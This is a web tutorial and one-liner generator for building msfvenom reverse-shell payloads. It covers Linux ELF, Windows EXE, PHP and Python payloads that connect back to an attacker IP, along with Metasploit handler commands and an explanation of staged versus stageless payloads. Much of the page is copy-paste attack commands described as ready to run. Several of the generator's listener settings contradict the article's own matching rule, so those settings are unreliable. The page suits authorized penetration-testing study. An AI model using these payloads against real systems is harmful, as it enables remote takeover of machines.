Skip to content
reverseshell

msfvenom Reverse Shell: Staged vs Stageless and the Listener Trap

How to generate a reverse shell with msfvenom, the difference between staged and stageless payloads, and why your nc listener catches one but not the other.

Published on 2 min read

Copy-paste one-liners

Open the generator

Ready to run against an authorized target. Replace 10.10.14.3 and 443 with your listener IP and port, or use the per-payload link to pre-fill the generator.

msfvenom Linux x64 ELF

Linux
msfvenom Linux x64 ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f elf -o shell.elf

Generate a Linux x64 shell_reverse_tcp ELF executable.

Listener: msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD cmd/unix/reverse_bash; set LHOST 10.10.14.3; set LPORT 443; run'

Generate with your IP/port

msfvenom Windows x64 EXE

Windows
msfvenom Windows x64 EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o shell-x64.exe

Generate a Windows x64 shell_reverse_tcp executable.

Listener: msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/shell/reverse_tcp; set LHOST 10.10.14.3; set LPORT 443; run'

Generate with your IP/port

msfvenom PHP reverse

Cross-platform
msfvenom PHP reverse
msfvenom -p php/reverse_php LHOST=10.10.14.3 LPORT=443 -f raw -o shell.php

Generate a raw PHP reverse shell payload.

Listener: msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD cmd/unix/reverse_bash; set LHOST 10.10.14.3; set LPORT 443; run'

Generate with your IP/port

msfvenom Python reverse

Cross-platform
msfvenom Python reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.3 LPORT=443 -f raw

Generate a raw Python reverse shell command payload.

Listener: msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD cmd/unix/reverse_bash; set LHOST 10.10.14.3; set LPORT 443; run'

Generate with your IP/port

Detection: these one-liners are loud — outbound TCP from an interpreter, a spawned shell with a socket on its stdio, and odd parent/child process chains. See detecting reverse shells in logs.

Related shells: WindowsPHPstaged vs stageless

msfvenom generates a payload as a file — an ELF, EXE, or script you deliver and execute — rather than a one-liner you paste. It is the right tool when you need a compiled binary or a specific format, and the wrong tool when a one-liner would do. The part that trips everyone up is not generation; it is matching the payload to the correct listener.

Generating the Payload

The pattern is -p PAYLOAD LHOST= LPORT= -f FORMAT -o FILE:

# Linux ELF, stageless
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf

# Windows EXE, stageless
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

# PHP, for a web target
msfvenom -p php/reverse_php LHOST=10.0.0.1 LPORT=443 -f raw -o shell.php

-f controls the output format; msfvenom --list formats shows them all. List payloads with msfvenom --list payloads | grep reverse.

Staged vs Stageless — the Core Distinction

This is the single most important thing to understand, because it dictates your listener.

  • Stageless (shell_reverse_tcp): the entire shell is in the payload. It connects back and you have a shell. A plain nc -lvnp 443 catches it.
  • Staged (shell/reverse_tcp — note the slash): the payload is a tiny stager that connects back and downloads the rest of the shell from your handler. A plain nc listener receives the stager's request, has nothing to send back, and the shell dies instantly.

Read the payload name carefully: an underscore (shell_reverse_tcp) is stageless; a slash (shell/reverse_tcp) is staged. That one character decides whether nc works.

The Listener Trap

The number-one msfvenom complaint — "it connects then immediately disconnects" — is almost always a staged payload hitting a dumb listener. Staged and Meterpreter payloads need Metasploit's handler, configured with the exact same payload:

msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/shell_reverse_tcp; \
set LHOST 10.0.0.1; set LPORT 443; run"

PAYLOAD, LHOST, and LPORT in the handler must match what you put in msfvenom exactly. If you want to catch with plain nc, generate a stageless payload. This is the same payload-vs-listener mismatch covered generally in choosing a listener — msfvenom just makes it easy to get wrong.

When NOT to Use msfvenom

If the target already has bash, python, or PHP, a one-liner is faster, fileless, and leaves less on disk than a generated binary. Reach for msfvenom when you specifically need a compiled artifact or a Meterpreter session — otherwise see bash, python, or the reverse shell generator for a one-liner with the matching listener already attached.

Authorized Testing Only

Generate and deploy msfvenom payloads only against systems you own or are explicitly authorized to test. The authorization is what makes the work legitimate, not the tooling.

Related articles

A plain-English explanation of how reverse shells work, why they beat bind shells through firewalls, and how a reverse shell generator saves you from copy-paste mistakes.
The common bash reverse shell one-liners explained line by line, why they need bash (not sh), and how to fall back when /dev/tcp is missing.
How the python reverse shell one-liner works with socket and pty, why the python/python3 split breaks payloads, and a version-agnostic fallback.